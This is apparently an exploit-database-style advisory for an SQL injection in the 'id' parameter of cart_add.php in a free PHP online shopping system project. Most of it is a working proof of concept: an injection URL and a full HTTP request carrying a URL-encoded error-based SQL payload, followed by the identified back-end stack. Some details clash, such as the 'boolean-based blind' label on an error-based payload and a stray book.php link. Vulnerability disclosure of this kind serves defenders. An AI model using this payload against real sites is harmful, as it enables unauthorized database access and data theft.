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Online Shopping System project in PHP  -  SQL injection
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.:. Author         : Yussef Dajdaj
.:. Contact        : F1nd M3
.:. Vendor         : https://projectworlds.in/
.:. Script          : https://projectworlds.in/free-projects/php-projects/free-download-online-shopping-system/
.:. Date:           : 8/8/2020
.:. Tested on:   : Tested on: Window 10 64 bit environment || XAMPP
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===[ Exploit ]===

[*] SQL injection
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Parameter: id (GET)
Type: boolean-based blind


https://localhost/testing/cart_add.php?id=1'[injection]<https://localhost/testing/book.php?bookisbn='%5binjection%5d>

GET /testing/cart_add.php?id=3%27%20AND%20%28SELECT%201691%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7170716a71%2C%28SELECT%20%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%29%2C0x716a7a7171%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x%29a%29%20AND%20%27YwxT%27%3D%27YwxT HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30
Host: 192.168.1.147:443
Referer: https://localhost/testing/products.php
Cookie: PHPSESSID=rorcmoub3dsuqd04dbk7oe838s
Upgrade-Insecure-Requests: 1
Connection: close


the back-end DBMS is MySQL, web application technology: PHP 7.2.32, PHP, Apache 2.4.43